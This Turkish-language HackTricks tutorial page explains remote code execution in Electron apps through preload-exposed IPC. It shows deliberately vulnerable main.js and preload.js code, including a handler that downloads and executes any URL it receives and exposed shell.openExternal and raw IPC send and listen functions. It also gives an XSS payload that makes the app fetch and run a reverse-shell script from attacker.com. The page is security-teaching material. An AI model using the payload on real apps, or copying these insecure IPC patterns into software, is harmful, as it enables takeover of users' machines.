Electron contextIsolation RCE via IPC

Support HackTricks

Eğer preload script'i main.js dosyasından bir IPC uç noktası açıyorsa, renderer süreci buna erişebilecek ve eğer savunmasızsa, bir RCE mümkün olabilir.

Bu örneklerin çoğu buradan alınmıştır https://www.youtube.com/watch?v=xILfQGkLXQo. Daha fazla bilgi için videoyu kontrol edin.

Örnek 0

https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 adresinden bir örnek (bu slaytlarda MS Teams'in XSS'den RCE'ye nasıl istismar edildiğine dair tam bir örneğiniz var, bu sadece çok temel bir örnektir):

Örnek 1

main.js'in getUpdate üzerinde nasıl dinlediğini ve geçirilen herhangi bir URL'yi indirdiğini ve çalıştırdığını kontrol edin. Ayrıca preload.js'in ana tarafından nasıl herhangi bir IPC olayını açtığını kontrol edin.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

Sömürü:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Örnek 2

Eğer preload script, renderer'a shell.openExternal çağırma yolu doğrudan sunuyorsa, RCE elde etmek mümkündür.

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

Örnek 3

Preload script'i ana işlemle tamamen iletişim kurma yollarını açıyorsa, bir XSS herhangi bir olayı gönderebilir. Bunun etkisi, ana işlemin IPC açısından neleri açtığına bağlıdır.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
HackTricks'i Destekleyin

Last updated